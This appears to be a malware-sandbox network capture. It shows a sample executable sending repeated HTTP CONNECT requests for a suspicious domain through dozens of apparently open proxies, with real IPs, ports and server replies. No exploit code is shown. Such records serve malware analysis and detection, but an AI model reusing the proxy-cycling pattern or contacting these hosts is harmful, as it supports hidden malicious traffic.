Mar 11, 2024 15:21:03.970712900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.9	51800	91.202.230.219	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.973536015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.9	51788	103.118.46.61	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.975898027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.9	50882	120.234.203.171	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.983741999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.582011938 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.9	51890	134.209.29.120	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.984380960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.484122038 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.9	51764	183.230.162.122	9091	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.989100933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.367866993 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.9	51811	138.36.196.11	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.992233992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.9	52001	162.223.94.166	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.995115042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.762213945 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.9	51202	91.134.140.160	16487	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.000607014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.496956110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.138008118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.9	51919	61.92.189.15	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.001699924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.9	51222	98.181.137.83	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.002273083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.9	51185	45.233.3.1	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.003257990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.9	51729	38.54.116.9	8118	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.009123087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.427886963 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.9	52184	31.7.65.18	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.012268066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.9	52009	104.19.79.238	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.014029980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.168026924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.9	52187	31.7.65.18	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.014331102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.9	51767	93.171.220.229	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.016557932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.421521902 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.9	52192	31.7.65.18	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.016644955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.9	51877	77.91.74.77	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.016685963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.352003098 CET	154	IN	HTTP/1.1 301 Moved Permanently Location: https://heygirlisheeverythingyouwantedinaman.com:443 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.9	51657	197.242.146.109	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.018954992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.934684038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.325706005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.351073980 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.9	51940	85.214.118.98	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.070028067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.461648941 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.9	51057	142.54.239.1	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.071084023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.9	51807	103.231.78.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.071513891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.9	51233	72.206.181.123	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.072263002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.9	51949	223.19.111.185	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.072721958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.903233051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.887999058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.879574060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.794226885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.678354025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.497302055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.090910912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:36.981296062 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.9	51972	176.31.110.126	45517	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.073426962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.9	51933	148.72.215.79	48623	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.073846102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.778184891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.9	51091	117.160.250.163	9999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.073854923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.661966085 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 14:21:04 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
